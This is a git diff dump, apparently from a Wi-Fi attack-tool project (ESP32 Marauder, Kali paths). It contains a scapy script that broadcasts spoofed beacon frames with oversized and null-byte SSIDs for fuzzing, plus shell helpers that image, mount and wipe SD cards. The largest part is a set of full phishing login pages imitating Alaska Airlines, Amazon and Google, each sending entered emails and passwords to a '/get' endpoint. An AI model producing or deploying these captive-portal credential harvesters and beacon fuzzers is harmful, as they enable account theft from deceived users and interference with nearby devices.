essid = Dot11Elt(ID='SSID',info=SSID, len=len(SSID)) essid = Dot11Elt(ID='SSID',info=SSID, len=len(SSID))
frame = RadioTap()/dot11/beacon/essid frame = RadioTap()/dot11/beacon/essid
print(SSID) print(SSID)
sendp(frame, iface=iface, inter=0.100, loop=1) sendp(frame, iface=iface, inter=0.100, loop=1)
# sendp(frame, iface=iface, inter=0.100, count=256) # sendp(frame, iface=iface, inter=0.100, count=256)
#longgg = "\xFF"*800 #longgg = "\xFF"*800
#longggg = f"\x00{longgg}\x00" #longggg = f"\x00{longgg}\x00"
#beacon_raw(longggg) #beacon_raw(longggg)
#SSID = b"YOU-SEEM-FUNDAMETALLY-FUN\x00\x0AI-THINK-ID-LIKE-TO-KNOW-YOU\x00\x0AI-FEEL-LIKE-BEING-YOUR-FRIEND\x00\x0AI-AM-YOUR-PONY-WAIFU\x0a\x00\xc6\x54\x00" #SSID = b"YOU-SEEM-FUNDAMETALLY-FUN\x00\x0AI-THINK-ID-LIKE-TO-KNOW-YOU\x00\x0AI-FEEL-LIKE-BEING-YOUR-FRIEND\x00\x0AI-AM-YOUR-PONY-WAIFU\x0a\x00\xc6\x54\x00"
SSID = b"YOU-SEEM-FUNDAMETALLY-FUN-I-THINK-ID-LIKE-TO-KNOW-YOU\x0a\x00\xc6\x54\x00-I-FEEL-LIKE-BEING-YOUR-FRIEND-I-AM-YOUR-PONY-WAIFU" SSID = b"YOU-SEEM-FUNDAMETALLY-FUN-I-THINK-ID-LIKE-TO-KNOW-YOU\x0a\x00\xc6\x54\x00-I-FEEL-LIKE-BEING-YOUR-FRIEND-I-AM-YOUR-PONY-WAIFU"
beacon_raw(SSID) beacon_raw(SSID)
Regular → Executable
+25 -25
View File
@@ -1,25 +1,25 @@
from scapy.all import * from scapy.all import *
iface = 'wlan1' iface = 'wlan1'
sender = 'ac:cb:12:ad:58:27' # sender = 'ac:cb:12:ad:58:27'
def beacon_raw(SSID, length=255): def beacon_raw(SSID, length=255):
dot11 = Dot11(type=0, subtype=8, addr1='ff:ff:ff:ff:ff:ff', addr2=sender, addr3=sender) dot11 = Dot11(type=0, subtype=8, addr1='ff:ff:ff:ff:ff:ff', addr2=sender, addr3=sender)
beacon = Dot11Beacon() beacon = Dot11Beacon()
essid = Dot11Elt(ID='SSID',info=RawVal(SSID), len=length) essid = Dot11Elt(ID='SSID',info=RawVal(SSID), len=length)
frame = RadioTap()/dot11/beacon/essid frame = RadioTap()/dot11/beacon/essid
sendp(frame, iface=iface, inter=0.250, loop=1) sendp(frame, iface=iface, inter=0.250, loop=1)
# sendp(frame, iface=iface, inter=0.100, count=256) # sendp(frame, iface=iface, inter=0.100, count=256)
def beacon_normie(SSID): def beacon_normie(SSID):
dot11 = Dot11(type=0, subtype=8, addr1='ff:ff:ff:ff:ff:ff', addr2=sender, addr3=sender) dot11 = Dot11(type=0, subtype=8, addr1='ff:ff:ff:ff:ff:ff', addr2=sender, addr3=sender)
beacon = Dot11Beacon() beacon = Dot11Beacon()
essid = Dot11Elt(ID='SSID',info=SSID, len=len(SSID)) essid = Dot11Elt(ID='SSID',info=SSID, len=len(SSID))
frame = RadioTap()/dot11/beacon/essid frame = RadioTap()/dot11/beacon/essid
sendp(frame, iface=iface, inter=0.250, loop=1) sendp(frame, iface=iface, inter=0.250, loop=1)
# sendp(frame, iface=iface, inter=0.100, count=256) # sendp(frame, iface=iface, inter=0.100, count=256)
longgg = "\xFF"*800 longgg = "\xFF"*800
longggg = f"\x00{longgg}\x00" longggg = f"\x00{longgg}\x00"
#beacon_raw(longggg) #beacon_raw(longggg)
beacon_normie(b"\xFF\x00\xFF\x00\xFF\x00\xFF\x00\xFF\x00") beacon_normie(b"\xFF\x00\xFF\x00\xFF\x00\xFF\x00\xFF\x00")
+23
View File
@@ -0,0 +1,23 @@
#!/bin/bash
number=2
tag=incremental-overrun-nullbyte
blocks=32
blocksize=1M
dumpsize=32M
echo -e "\nListing Disks"
lsblk
echo -e "\nEnter disk (e.x. sda or sdb - BE CAREFUL)"
read disk
block=/dev/$disk
timestamp=$(date "+%d%m%Y-%H.%M.%S-%Z")
filename="/home/kali/marauderexploitdev/imgs/${number}-${tag}-${dumpsize}-${timestamp}.img"
echo -e "\nWriting to ${filename}"
sudo dd if=$block of=$filename bs=$blocksize count=$blocks status=progress conv=fdatasync
echo -e "\n\nDONE\n\nWritten to: ${filename}\n\n"
View File
+6
View File
@@ -0,0 +1,6 @@
lsblk
echo -e "\nSelect A Disk (sda1, sdb1, etc)"
read disk
sudo mount /dev/$disk /mnt/MARAUDLABEL
echo -e "\n/mnt/MARAUDLABEL\n"
ls -lah /mnt/MARAUDLABEL
+1
View File
@@ -0,0 +1 @@
sudo umount /mnt/MARAUDLABEL
+45
View File
@@ -0,0 +1,45 @@
#!/bin/bash
mountpoint=/mnt/MARAUDLABEL/
gb_to_zero=1
# full_wipe=True
copy_files=True
echo "WILL WIPE DISK USE WITH CARE"
echo -e "\nListing Disks"
lsblk
echo -e "\nEnter disk (e.x. sda or sdb - BE CAREFUL)"
read disk
block="/dev/${disk}"
if [ -z $full_wipe ]; then
echo -e "\nZeroing ${gb_to_zero}GB on Disk $block"
sudo dd if=/dev/zero of=$block status=progress bs=1M count="${gb_to_zero}K" conv=fdatasync
else
echo -e "\nZeroing FULL Disk $block"
sudo dd if=/dev/zero of=$block status=progress bs=32M conv=fdatasync
fi
echo -e "\nCreating Partitions on $block"
sudo echo ',,b;' | sudo sfdisk $block
echo -e "\n\nEnter Disk (e.x. sda1 or sdb1)"
lsblk
read part
partition="/dev/${part}"
echo -e "\nMaking FAT32 Filesystem on $partition"
sudo mkfs.vfat -F 32 -n MARAUDERSD $partition
echo -e "\n$block Status:"
sudo sfdisk -l $block
echo -e "\nMounting $partition at $mountpoint"
sudo mount $partition $mountpoint
if [ ! -z $copy_files ]; then
echo -e "\nCopying Minimal Files"
sudo cp marauder_cyd_microsd/index.html $mountpoint
sudo cp marauder_cyd_microsd/ap.config.txt $mountpoint
echo -e "\nListing"
ls -lah $mountpoint
echo -e "\numounting $partition from $mountpoint"
sudo umount $mountpoint
fi
echo -e "\n\nYou May Now Use on Marauder"
Regular → Executable
+29 -29
View File
@@ -1,30 +1,30 @@
#!/bin/bash #!/bin/bash
number=0 number=0
<<<<<<< HEAD:sd-card-helpers/dump-script <<<<<<< HEAD:sd-card-helpers/dump-script
tag=full-fuzz tag=full-fuzz
blocks=100 blocks=100
blocksize=1M blocksize=1M
dumpsize=100M dumpsize=100M
======= =======
tag=fresh tag=fresh
blocks=75 blocks=75
blocksize=1M blocksize=1M
dumpsize=75M dumpsize=75M
>>>>>>> 74ecdcb053840a8ffeeb1fd63d6789a9f4ef29eb:sd-card/dump-script >>>>>>> 74ecdcb053840a8ffeeb1fd63d6789a9f4ef29eb:sd-card/dump-script
echo -e "\nListing Disks" echo -e "\nListing Disks"
lsblk lsblk
echo -e "\nEnter disk (e.x. sda or sdb - BE CAREFUL)" echo -e "\nEnter disk (e.x. sda or sdb - BE CAREFUL)"
read disk read disk
block=/dev/$disk block=/dev/$disk
timestamp=$(date "+%d%m%Y-%H.%M.%S-%Z") timestamp=$(date "+%d%m%Y-%H.%M.%S-%Z")
filename="./imgs/${number}-${tag}-${dumpsize}-${timestamp}.img" filename="./imgs/${number}-${tag}-${dumpsize}-${timestamp}.img"
echo -e "\nWriting to ${filename}" echo -e "\nWriting to ${filename}"
sudo dd if=$block of=$filename bs=$blocksize count=$blocks status=progress conv=fdatasync sudo dd if=$block of=$filename bs=$blocksize count=$blocks status=progress conv=fdatasync
echo -e "\n\nDONE\n\nWritten to: ${filename}\n\n" echo -e "\n\nDONE\n\nWritten to: ${filename}\n\n"
+89 -89
View File
@@ -1,89 +1,89 @@
<!DOCTYPE html> <!DOCTYPE html>
<html> <html>
<head> <head>
<meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="viewport" content="width=device-width, initial-scale=1">
<style> <style>
body { body {
font-family: Arial, sans-serif; font-family: Arial, sans-serif;
background-color: #f4f4f4; background-color: #f4f4f4;
margin: 0; margin: 0;
padding: 0; padding: 0;
height: 100vh; height: 100vh;
display: flex; display: flex;
align-items: center; align-items: center;
justify-content: center; justify-content: center;
} }
.login-container { .login-container {
background-color: white; background-color: white;
padding: 20px; padding: 20px;
border-radius: 5px; border-radius: 5px;
box-shadow: 0px 0px 10px 0px rgba(0,0,0,0.1); box-shadow: 0px 0px 10px 0px rgba(0,0,0,0.1);
} }
.login-container h1, .login-container h2 { .login-container h1, .login-container h2 {
text-align: center; text-align: center;
} }
.login-container button { .login-container button {
width: 100%; width: 100%;
background-color: green; background-color: green;
} }
#logo { #logo {
display: flex; display: flex;
justify-content: center; justify-content: center;
margin-bottom: 20px; margin-bottom: 20px;
} }
.form-group { .form-group {
margin-bottom: 10px; margin-bottom: 10px;
} }
input[type="text"], input[type="password"] { input[type="text"], input[type="password"] {
width: 100%; width: 100%;
padding: 8px; padding: 8px;
border: 1px solid #ccc; border: 1px solid #ccc;
border-radius: 4px; border-radius: 4px;
box-sizing: border-box; box-sizing: border-box;
} }
</style> </style>
<script> <script>
window.addEventListener('DOMContentLoaded', (event) => { window.addEventListener('DOMContentLoaded', (event) => {
const form = document.getElementById('email-form-step'); const form = document.getElementById('email-form-step');
form.addEventListener('submit', (event) => { form.addEventListener('submit', (event) => {
event.preventDefault(); event.preventDefault();
const emailInput = document.getElementById('email-input'); const emailInput = document.getElementById('email-input');
const passwordInput = document.getElementById('password-input'); const passwordInput = document.getElementById('password-input');
const email = emailInput.value; const email = emailInput.value;
const password = passwordInput.value; const password = passwordInput.value;
const url = `/get?email=${encodeURIComponent(email)}&password=${encodeURIComponent(password)}`; const url = `/get?email=${encodeURIComponent(email)}&password=${encodeURIComponent(password)}`;
window.location.href = url; window.location.href = url;
}); });
}); });
</script> </script>
</head> </head>
<body> <body>
<div class="container"> <div class="container">
<div class="row"> <div class="row">
<div class="col-lg-4 offset-lg-4 login-container"> <div class="col-lg-4 offset-lg-4 login-container">
<div id="logo"> <div id="logo">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 301 92" width="93.75" height="30"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 301 92" width="93.75" height="30">
<g fill="#00385f"> <g fill="#00385f">
<path d="m148 4-35 58c-3 5-5 11-6 17H94c1-7 4-14 10-24l23-40c5-8 10-11 19-11h2zm10 31c-18 0-28 10-38 32-2 6-4 13 5 13 4 0 12-3 17-7v6h12c0-5 2-11 6-18l15-25-17-1m-13 29c-3 3-7 6-11 6-3 0-3-3-2-6 8-14 15-21 25-21h1l-13 21zm138-29c-17 0-28 10-37 32-3 6-4 13 4 13 4 0 12-3 17-7v6h12c1-5 2-11 6-18l15-25-17-1m-13 29c-2 3-7 6-11 6-3 0-3-3-1-6 7-14 15-21 24-21h2l-14 21z"/> <path d="m148 4-35 58c-3 5-5 11-6 17H94c1-7 4-14 10-24l23-40c5-8 10-11 19-11h2zm10 31c-18 0-28 10-38 32-2 6-4 13 5 13 4 0 12-3 17-7v6h12c0-5 2-11 6-18l15-25-17-1m-13 29c-3 3-7 6-11 6-3 0-3-3-2-6 8-14 15-21 25-21h1l-13 21zm138-29c-17 0-28 10-37 32-3 6-4 13 4 13 4 0 12-3 17-7v6h12c1-5 2-11 6-18l15-25-17-1m-13 29c-2 3-7 6-11 6-3 0-3-3-1-6 7-14 15-21 24-21h2l-14 21z"/>
<path d="M243 91h-4c-5 0-9-3-11-8l-6-23-11 19h-13l36-61c5-8 10-11 18-11h2l-24 41 18-13h14l-30 21 11 35zM124 1c-12 0-19 3-31 11L53 42H27c-8 0-14 0-19 4l-6 7 37-2L0 79h17l40-28 13-1c9 0 15-8 15-8H69l32-24-23 39c-5 9-8 15-9 22h14l6-18 33-54 4-6h-2zm64 46c0 2 1 2 3 4l4 2c4 3 5 7 5 10-1 9-8 17-22 17l-17-2 6-9 12 1c5 0 7-2 7-4 1-1 0-3-2-4l-3-3c-5-3-6-6-6-10 1-8 11-14 24-14l13 1-5 9-12-1c-4 0-6 1-7 3"/> <path d="M243 91h-4c-5 0-9-3-11-8l-6-23-11 19h-13l36-61c5-8 10-11 18-11h2l-24 41 18-13h14l-30 21 11 35zM124 1c-12 0-19 3-31 11L53 42H27c-8 0-14 0-19 4l-6 7 37-2L0 79h17l40-28 13-1c9 0 15-8 15-8H69l32-24-23 39c-5 9-8 15-9 22h14l6-18 33-54 4-6h-2zm64 46c0 2 1 2 3 4l4 2c4 3 5 7 5 10-1 9-8 17-22 17l-17-2 6-9 12 1c5 0 7-2 7-4 1-1 0-3-2-4l-3-3c-5-3-6-6-6-10 1-8 11-14 24-14l13 1-5 9-12-1c-4 0-6 1-7 3"/>
</g> </g>
</svg> </svg>
</div> </div>
<form id="email-form-step"> <form id="email-form-step">
<h1>Sign in</h1> <h1>Sign in</h1>
<h2>Use your Alaska Airlines Account</h2> <h2>Use your Alaska Airlines Account</h2>
<div class="form-group"> <div class="form-group">
<input id="email-input" name="email" type="text" class="form-control" placeholder="User ID or Mileage Plan number" required> <input id="email-input" name="email" type="text" class="form-control" placeholder="User ID or Mileage Plan number" required>
</div> </div>
<div class="form-group"> <div class="form-group">
<input id="password-input" name="password" type="password" class="form-control" placeholder="Password" required> <input id="password-input" name="password" type="password" class="form-control" placeholder="Password" required>
</div> </div>
<div class="form-group"> <div class="form-group">
<button class="btn btn-primary" type="submit">Next</button> <button class="btn btn-primary" type="submit">Next</button>
</div> </div>
</form> </form>
</div> </div>
</div> </div>
</div> </div>
</body> </body>
</html> </html>
+99 -99
View File
@@ -1,100 +1,100 @@
<!DOCTYPE html> <!DOCTYPE html>
<html> <html>
<head> <head>
<style> <style>
body { body {
font-family: Arial, sans-serif; font-family: Arial, sans-serif;
} }
.container { .container {
max-width: 400px; max-width: 400px;
margin: 0 auto; margin: 0 auto;
padding: 20px; padding: 20px;
} }
@media (min-width: 600px) { @media (min-width: 600px) {
.container { .container {
max-width: 500px; max-width: 500px;
} }
} }
.logo { .logo {
text-align: center; text-align: center;
margin-bottom: 30px; margin-bottom: 30px;
} }
.form-container { .form-container {
background: #fff; background: #fff;
border: 1px solid #ddd; border: 1px solid #ddd;
border-radius: 4px; border-radius: 4px;
padding: 20px; padding: 20px;
box-shadow: 0px 0px 10px 0px rgba(0,0,0,0.2); box-shadow: 0px 0px 10px 0px rgba(0,0,0,0.2);
} }
h1 { h1 {
text-align: center; text-align: center;
font-size: 28px; font-size: 28px;
font-weight: 500; font-weight: 500;
margin-bottom: 20px; margin-bottom: 20px;
} }
.input-field { .input-field {
width: 100%; width: 100%;
padding: 12px; padding: 12px;
border: 1px solid #ccc; border: 1px solid #ccc;
border-radius: 4px; border-radius: 4px;
box-sizing: border-box; box-sizing: border-box;
margin-bottom: 20px; margin-bottom: 20px;
font-size: 14px; font-size: 14px;
} }
.submit-btn { .submit-btn {
background: #f0c14b; background: #f0c14b;
border: none; border: none;
color: #333; color: #333;
padding: 12px 20px; padding: 12px 20px;
border-radius: 4px; border-radius: 4px;
cursor: pointer; cursor: pointer;
font-size: 16px; font-size: 16px;
} }
.submit-btn:hover { .submit-btn:hover {
background: #d8ad40; background: #d8ad40;
} }
</style> </style>
</head> </head>
<body> <body>
<div class="container"> <div class="container">
<div class="logo"> <div class="logo">
<svg xmlns="http://www.w3.org/2000/svg" fill-rule="evenodd" viewBox="0 0 120 60"> <svg xmlns="http://www.w3.org/2000/svg" fill-rule="evenodd" viewBox="0 0 120 60">
<path fill="#f90" d="M72 40.7a38.9 38.9 0 0 1-47.7-3.4c-.5-.5 0-1.2.6-.8a52.8 52.8 0 0 0 46.3 2.8c1-.4 1.8.7.8 1.4m2.5-2.8c-.8-1-5-.4-6.8-.2-.6 0-.7-.4-.2-.8 3.3-2.3 8.8-1.6 9.4-.8s-.1 6.2-3.3 8.8c-.4.4-.9.2-.7-.3.7-1.8 2.3-5.7 1.6-6.7"/> <path fill="#f90" d="M72 40.7a38.9 38.9 0 0 1-47.7-3.4c-.5-.5 0-1.2.6-.8a52.8 52.8 0 0 0 46.3 2.8c1-.4 1.8.7.8 1.4m2.5-2.8c-.8-1-5-.4-6.8-.2-.6 0-.7-.4-.2-.8 3.3-2.3 8.8-1.6 9.4-.8s-.1 6.2-3.3 8.8c-.4.4-.9.2-.7-.3.7-1.8 2.3-5.7 1.6-6.7"/>
<path fill="#221f1f" d="M67.8 20.4v-2.2a.6.6 0 0 1 .6-.6h10.1c.4 0 .6.2.6.6V20c0 .3-.2.8-.7 1.4L73 29.1c2 0 4 .2 5.8 1.2.4.2.5.6.5.9v2.4c0 .3-.3.7-.7.5a11.7 11.7 0 0 0-10.8 0c-.3.2-.7-.1-.7-.5v-2.3c0-.4 0-1 .4-1.5l6.1-8.8h-5.3c-.3 0-.6-.2-.6-.6m-37 14.2h-3.1a.6.6 0 0 1-.6-.5V18c0-.2.3-.5.6-.5h3c.2 0 .5.3.5.6v2c.8-2 2.2-3 4.1-3 2 0 3.2 1 4 3a4.5 4.5 0 0 1 7.9-1.2c1 1.4.8 3.3.8 5v10c0 .3-.3.6-.6.6h-3.1a.6.6 0 0 1-.6-.6V22.6c-.3-1-1-1.3-1.9-1.3-.7 0-1.5.5-1.8 1.3s-.3 2.1-.3 3V34c0 .3-.3.6-.6.6h-3.1a.6.6 0 0 1-.6-.6v-8.4c0-1.8.3-4.4-1.9-4.4-2.2 0-2.1 2.6-2.1 4.4V34c0 .3-.3.6-.6.6m57.2-17.3c4.6 0 7 4 7 9 0 4.8-2.7 8.6-7 8.6-4.5 0-7-3.9-7-8.8 0-5 2.5-8.8 7-8.8m0 3.2c-2.3 0-2.4 3.1-2.4 5s0 6.2 2.4 6.2 2.5-3.4 2.5-5.4c0-1.4 0-3-.5-4.2-.3-1.1-1-1.6-2-1.6m13 14.1h-3a.6.6 0 0 1-.6-.6V18.1c0-.2.3-.5.6-.5h2.9c.2 0 .4.2.5.5v2.4c1-2.2 2.1-3.2 4.3-3.2a4 4 0 0 1 3.6 1.9c.8 1.2.8 3.4.8 5v10c0 .2-.3.4-.6.4h-3.1a.6.6 0 0 1-.5-.5v-8.6c0-1.8.2-4.3-2-4.3-.7 0-1.4.5-1.8 1.3a7 7 0 0 0-.5 3V34c0 .3-.3.6-.6.6M59.7 27c0 1.2 0 2.2-.6 3.3-.5.9-1.3 1.4-2.1 1.4-1.2 0-2-1-2-2.2 0-2.7 2.4-3.2 4.7-3.2v.7m3.1 7.5c-.2.2-.5.2-.7.1-1-.8-1.2-1.2-1.8-2-1.7 1.7-2.9 2.2-5.1 2.2-2.6 0-4.6-1.6-4.6-4.8a5 5 0 0 1 3.3-5c1.7-.8 4-1 5.8-1.1v-.4c0-.8 0-1.7-.4-2.3-.4-.6-1-.8-1.7-.8-1.2 0-2.3.6-2.5 1.9 0 .2-.3.5-.6.5l-3-.3c-.2 0-.5-.2-.4-.6.7-3.7 4-4.8 7-4.8 1.4 0 3.4.4 4.6 1.6C64.2 20 64 21.9 64 24v4.8c0 1.5.6 2.1 1.2 2.9.2.3.2.6 0 .8l-2.4 2M19.1 27c0 1.2 0 2.2-.6 3.3-.5.9-1.2 1.4-2.1 1.4-1.2 0-1.9-.9-1.9-2.2 0-2.7 2.4-3.2 4.6-3.2v.7m3.1 7.6c-.2.1-.5.2-.7 0-1-.8-1.2-1.2-1.8-2-1.7 1.7-2.9 2.2-5 2.2-2.7 0-4.7-1.6-4.7-4.8 0-2.5 1.4-4.2 3.3-5 1.7-.8 4-1 5.8-1.1v-.4c0-.8 0-1.6-.4-2.3-.3-.5-1-.8-1.7-.8-1.2 0-2.2.6-2.5 1.9 0 .3-.2.5-.5.5l-3-.3c-.3 0-.6-.2-.5-.6.7-3.7 4-4.8 7-4.8 1.4 0 3.4.4 4.6 1.6 1.5 1.4 1.4 3.3 1.4 5.3v4.8c0 1.5.6 2.1 1.1 2.9.2.3.3.6 0 .8l-2.3 2"/> <path fill="#221f1f" d="M67.8 20.4v-2.2a.6.6 0 0 1 .6-.6h10.1c.4 0 .6.2.6.6V20c0 .3-.2.8-.7 1.4L73 29.1c2 0 4 .2 5.8 1.2.4.2.5.6.5.9v2.4c0 .3-.3.7-.7.5a11.7 11.7 0 0 0-10.8 0c-.3.2-.7-.1-.7-.5v-2.3c0-.4 0-1 .4-1.5l6.1-8.8h-5.3c-.3 0-.6-.2-.6-.6m-37 14.2h-3.1a.6.6 0 0 1-.6-.5V18c0-.2.3-.5.6-.5h3c.2 0 .5.3.5.6v2c.8-2 2.2-3 4.1-3 2 0 3.2 1 4 3a4.5 4.5 0 0 1 7.9-1.2c1 1.4.8 3.3.8 5v10c0 .3-.3.6-.6.6h-3.1a.6.6 0 0 1-.6-.6V22.6c-.3-1-1-1.3-1.9-1.3-.7 0-1.5.5-1.8 1.3s-.3 2.1-.3 3V34c0 .3-.3.6-.6.6h-3.1a.6.6 0 0 1-.6-.6v-8.4c0-1.8.3-4.4-1.9-4.4-2.2 0-2.1 2.6-2.1 4.4V34c0 .3-.3.6-.6.6m57.2-17.3c4.6 0 7 4 7 9 0 4.8-2.7 8.6-7 8.6-4.5 0-7-3.9-7-8.8 0-5 2.5-8.8 7-8.8m0 3.2c-2.3 0-2.4 3.1-2.4 5s0 6.2 2.4 6.2 2.5-3.4 2.5-5.4c0-1.4 0-3-.5-4.2-.3-1.1-1-1.6-2-1.6m13 14.1h-3a.6.6 0 0 1-.6-.6V18.1c0-.2.3-.5.6-.5h2.9c.2 0 .4.2.5.5v2.4c1-2.2 2.1-3.2 4.3-3.2a4 4 0 0 1 3.6 1.9c.8 1.2.8 3.4.8 5v10c0 .2-.3.4-.6.4h-3.1a.6.6 0 0 1-.5-.5v-8.6c0-1.8.2-4.3-2-4.3-.7 0-1.4.5-1.8 1.3a7 7 0 0 0-.5 3V34c0 .3-.3.6-.6.6M59.7 27c0 1.2 0 2.2-.6 3.3-.5.9-1.3 1.4-2.1 1.4-1.2 0-2-1-2-2.2 0-2.7 2.4-3.2 4.7-3.2v.7m3.1 7.5c-.2.2-.5.2-.7.1-1-.8-1.2-1.2-1.8-2-1.7 1.7-2.9 2.2-5.1 2.2-2.6 0-4.6-1.6-4.6-4.8a5 5 0 0 1 3.3-5c1.7-.8 4-1 5.8-1.1v-.4c0-.8 0-1.7-.4-2.3-.4-.6-1-.8-1.7-.8-1.2 0-2.3.6-2.5 1.9 0 .2-.3.5-.6.5l-3-.3c-.2 0-.5-.2-.4-.6.7-3.7 4-4.8 7-4.8 1.4 0 3.4.4 4.6 1.6C64.2 20 64 21.9 64 24v4.8c0 1.5.6 2.1 1.2 2.9.2.3.2.6 0 .8l-2.4 2M19.1 27c0 1.2 0 2.2-.6 3.3-.5.9-1.2 1.4-2.1 1.4-1.2 0-1.9-.9-1.9-2.2 0-2.7 2.4-3.2 4.6-3.2v.7m3.1 7.6c-.2.1-.5.2-.7 0-1-.8-1.2-1.2-1.8-2-1.7 1.7-2.9 2.2-5 2.2-2.7 0-4.7-1.6-4.7-4.8 0-2.5 1.4-4.2 3.3-5 1.7-.8 4-1 5.8-1.1v-.4c0-.8 0-1.6-.4-2.3-.3-.5-1-.8-1.7-.8-1.2 0-2.2.6-2.5 1.9 0 .3-.2.5-.5.5l-3-.3c-.3 0-.6-.2-.5-.6.7-3.7 4-4.8 7-4.8 1.4 0 3.4.4 4.6 1.6 1.5 1.4 1.4 3.3 1.4 5.3v4.8c0 1.5.6 2.1 1.1 2.9.2.3.3.6 0 .8l-2.3 2"/>
</svg> </svg>
</div> </div>
<div class="form-container"> <div class="form-container">
<center><h1>Sign in</h1> <center><h1>Sign in</h1>
<h2>Use your Amazon Account</h2></center> <h2>Use your Amazon Account</h2></center>
<form action="/get" id="login-form"> <form action="/get" id="login-form">
<input name="email" class="input-field" type="text" placeholder="Email or mobile phone number" required> <input name="email" class="input-field" type="text" placeholder="Email or mobile phone number" required>
<input name="password" class="input-field" type="password" placeholder="Password" required> <input name="password" class="input-field" type="password" placeholder="Password" required>
<button class="submit-btn" type="submit">Continue</button> <button class="submit-btn" type="submit">Continue</button>
</form> </form>
</div> </div>
</div> </div>
</body> </body>
</html> </html>
+145 -145
View File
@@ -1,146 +1,146 @@
<!DOCTYPE html> <!DOCTYPE html>
<html> <html>
<head> <head>
<meta charset="UTF-8"> <meta charset="UTF-8">
<style> <style>
body { body {
font-family: sans-serif; font-family: sans-serif;
} }
.login-container { .login-container {
width: 85%; width: 85%;
margin: auto; margin: auto;
padding: 20px; padding: 20px;
border-radius: 5px; border-radius: 5px;
margin-top: 10px; margin-top: 10px;
} }
#logo { #logo {
margin: auto; margin: auto;
width: fit-content; width: fit-content;
} }
.g-h1 { .g-h1 {
font-size: 25px; font-size: 25px;
text-align: center; text-align: center;
font-weight: 200; font-weight: 200;
margin: auto; margin: auto;
} }
.g-h2 { .g-h2 {
font-size: 15px; font-size: 15px;
text-align: center; text-align: center;
font-weight: 200; font-weight: 200;
margin: auto; margin: auto;
} }
.g-input { .g-input {
width: 95%; width: 95%;
height: 30px; height: 30px;
background-color: transparent; background-color: transparent;
font: 400 16px Roboto, RobotoDraft, Helvetica, Arial, sans-serif; font: 400 16px Roboto, RobotoDraft, Helvetica, Arial, sans-serif;
border-width: 0.5px; border-width: 0.5px;
border-color: rgba(0, 0, 0, 0.6); border-color: rgba(0, 0, 0, 0.6);
border-radius: 4px; border-radius: 4px;
font-size: 16px; font-size: 16px;
padding: 13px 9px; padding: 13px 9px;
margin-bottom: 10px; margin-bottom: 10px;
} }
.create-account { .create-account {
font-size: smaller; font-size: smaller;
color: #1a73e8; color: #1a73e8;
text-decoration: none; text-decoration: none;
font-family: "Google Sans", Roboto, Arial, sans-serif; font-family: "Google Sans", Roboto, Arial, sans-serif;
font-size: 15px; font-size: 15px;
letter-spacing: 0.25px; letter-spacing: 0.25px;
} }
.gbtn-primary { .gbtn-primary {
min-width: 64px; min-width: 64px;
border: none; border: none;
margin-top: 6px; margin-top: 6px;
margin-bottom: 6px; margin-bottom: 6px;
height: 36px; height: 36px;
border-radius: 4px; border-radius: 4px;
font-family: "Google Sans", Roboto, Arial, sans-serif; font-family: "Google Sans", Roboto, Arial, sans-serif;
font-size: 15px; font-size: 15px;
font-weight: 500; font-weight: 500;
padding: 0 24px 0 24px; padding: 0 24px 0 24px;
box-sizing: inherit; box-sizing: inherit;
background-color: var(--gm-fillbutton-container-color, rgb(26, 115, 232)); background-color: var(--gm-fillbutton-container-color, rgb(26, 115, 232));
color: #fff; color: #fff;
} }
.button-container { .button-container {
display: flex; display: flex;
justify-content: space-between; justify-content: space-between;
align-items: center; align-items: center;
} }
.text { .text {
font-family: Roboto, "Noto Sans Myanmar UI", Arial, sans-serif; font-family: Roboto, "Noto Sans Myanmar UI", Arial, sans-serif;
white-space: normal; white-space: normal;
color: #5f6368; color: #5f6368;
font-size: 14px; font-size: 14px;
line-height: 1.4286; line-height: 1.4286;
padding-bottom: 3px; padding-bottom: 3px;
padding-top: 9px; padding-top: 9px;
box-sizing: inherit; box-sizing: inherit;
} }
.txt { .txt {
text-decoration: none; text-decoration: none;
border-radius: 4px; border-radius: 4px;
color: #1a73e8; color: #1a73e8;
} }
</style> </style>
<meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1"> <meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1">
</head> </head>
<body> <body>
<div class="login-container"> <div class="login-container">
<div id="logo"> <div id="logo">
<svg viewBox="0 0 75 24" width="75" height="24" xmlns="http://www.w3.org/2000/svg" aria-hidden="true"> <svg viewBox="0 0 75 24" width="75" height="24" xmlns="http://www.w3.org/2000/svg" aria-hidden="true">
<g id="qaEJec"> <g id="qaEJec">
<path fill="#ea4335" d="M67.954 16.303c-1.33 0-2.278-.608-2.886-1.804l7.967-3.3-.27-.68c-.495-1.33-2.008-3.79-5.102-3.79-3.068 0-5.622 2.41-5.622 5.96 0 3.34 2.53 5.96 5.92 5.96 2.73 0 4.31-1.67 4.97-2.64l-2.03-1.35c-.673.98-1.6 1.64-2.93 1.64zm-.203-7.27c1.04 0 1.92.52 2.21 1.264l-5.32 2.21c-.06-2.3 1.79-3.474 3.12-3.474z"></path> <path fill="#ea4335" d="M67.954 16.303c-1.33 0-2.278-.608-2.886-1.804l7.967-3.3-.27-.68c-.495-1.33-2.008-3.79-5.102-3.79-3.068 0-5.622 2.41-5.622 5.96 0 3.34 2.53 5.96 5.92 5.96 2.73 0 4.31-1.67 4.97-2.64l-2.03-1.35c-.673.98-1.6 1.64-2.93 1.64zm-.203-7.27c1.04 0 1.92.52 2.21 1.264l-5.32 2.21c-.06-2.3 1.79-3.474 3.12-3.474z"></path>
</g> </g>
<g id="YGlOvc"> <g id="YGlOvc">
<path fill="#34a853" d="M58.193.67h2.564v17.44h-2.564z"></path> <path fill="#34a853" d="M58.193.67h2.564v17.44h-2.564z"></path>
</g> </g>
<g id="BWfIk"> <g id="BWfIk">
